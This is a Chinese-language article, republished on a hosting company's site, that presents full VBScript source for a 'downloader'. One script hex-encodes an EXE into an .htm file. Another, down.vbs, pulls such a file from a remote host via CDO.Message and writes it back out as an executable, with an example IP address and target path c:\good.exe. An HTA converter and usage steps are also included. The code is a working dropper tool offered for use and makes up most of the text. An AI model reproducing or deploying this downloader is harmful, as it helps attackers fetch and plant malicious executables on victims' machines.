最新版利用CDO.Message做的vbs下载者
作者 佚名
来源 ASP编程
浏览
发布时间 2013-07-09
vbs下载者有很多了，我这里是一个伟大的发明，利用CDO.Message做的vbs下载者。伟大是装B的意思。 复制代码 代码如下: ''code by xiaolu ''change by NetPatch on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit do while 1 fname=arg(0) err.number=0 Set Ado = CreateObject("adodb.stream") With Ado .Type = 1 .open .loadfromfile fname ss = .read End With if err.number<>0 then if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit else exit do end if loop if fname="" then Wscript.quit Set Fso=CreateObject("Scripting.FileSystemObject") Set File=fso.OpenTextFile(arg(0)&".htm",2, True) File.write Bin2Str(ss) File.close Set fso=nothing Ado.close set Abo=nothing Function Bin2Str(Re) For i = 1 To lenB(Re) bt = AscB(MidB(Re, i, 1)) if bt < 16 Then Bin2Str=Bin2Str&"0" Bin2Str=Bin2Str & Hex(bt) Next End Function ====================================== 下载者 down.vbs ============= 复制代码 代码如下: on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit ''code by NetPatch ''cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody arg(0),31 ss= Mail1.HTMLBody Set Mail1 = Nothing Set RS=CreateObject("ADODB.Recordset") L=Len(ss)/2 RS.Fields.Append "m",205,L RS.Open:RS.AddNew RS("m")=ss&ChrB(0) RS.Update ss=RS("m").GetChunk(L) Set s=CreateObject("ADODB.Stream") with s .Mode = 3 .Type = 1 .Open() .Write ss .SaveToFile arg(1),2 end with ================================== demo.htm内容时用exe2hex.vbs转EXE后获得的 使用方法： 1.exe2hex.vbs 把exe转成十六进制，放到网络上 2.down.vbs http://xxx/demo.htm c:\good.exe 由于NP写的不知什么原因，在我机器上执行后生成的exe，进程不会自动退出，我重新更新一下。 ＝＝＝＝＝＝＝用下面这个hta文件来转exe变成16进制的html保存了。这样也会方便一点。＝＝＝＝＝＝＝ 复制代码 代码如下: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>package file v0.1</title> <meta http-equiv="Content-Type" content="text/html; charset=GB2312"> <HTA:APPLICATION ID="package file v0.1" APPLICATIONNAME="package file v0.1" VERSION="0.1" SCROLL="no" INNERBORDER="no" CONTEXTMENU="yes" CAPTION="yes" ICON="no" SHOWINTASKBAR="yes" SINGLEINSTANCE="yes" SYSMENU="yes" MAXIMIZEBUTTON ="no" WINDOWSTATE="normal" NAVIGABLE="yes" /> <SCRIPT LANGUAGE="VBScript"> function transfert() dim filename filename = document.getElementById("srcFile").value if len(filename)>0 then dim oReq ''on error resume next ''//创建XMLHTTP对象 set oReq = CreateObject("MSXML2.XMLHTTP") oReq.open "get","file:\\" & filename,false oReq.send ff = oReq.responseBody dim u,s,kk u = lenb(ff) redim kk(u-1) for i=0 to u-1 s = hex(ascb(midb(ff,i+1,1))) if len(s)<2 then s = "0" & s end if ''kk = kk & s kk(i) = s next make filename,join(kk,"") else document.getElementById("srcFile").focus msgbox "请选择要压缩的文件",16,"提示" end if end function function make(filename,data) dim htm,file file = mid(filename,instrrev(filename,"\")+1) htm = htm & data dim fso,f dim this_file this_file = file & "-pf.htm" Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(this_file, 2, True) f.Write htm msgbox "生成文件" & this_file & "成功！",64,"生成" end function </SCRIPT> </head> <body marginleft=0 marginright=0 onload="window.resizeTo 389,145 "> 请选择文件：<input type=file id="srcFile" style="width:260px;"><br><br> <input type=button value=" 转换 " onclick="transfert"> <input type=button value=" 关闭 " onclick="window.close"> </body> </html> |
凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务，公司网站：http://www.lingzhong.cn 为了给广大客户了解更多的技术信息，本技术文章收集来源于网络,凌众科技尊重文章作者的版权，如果有涉及你的版权有必要删除你的文章，请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢! |
你可能对下面的文章感兴趣
关于最新版利用CDO.Message做的vbs下载者的所有评论
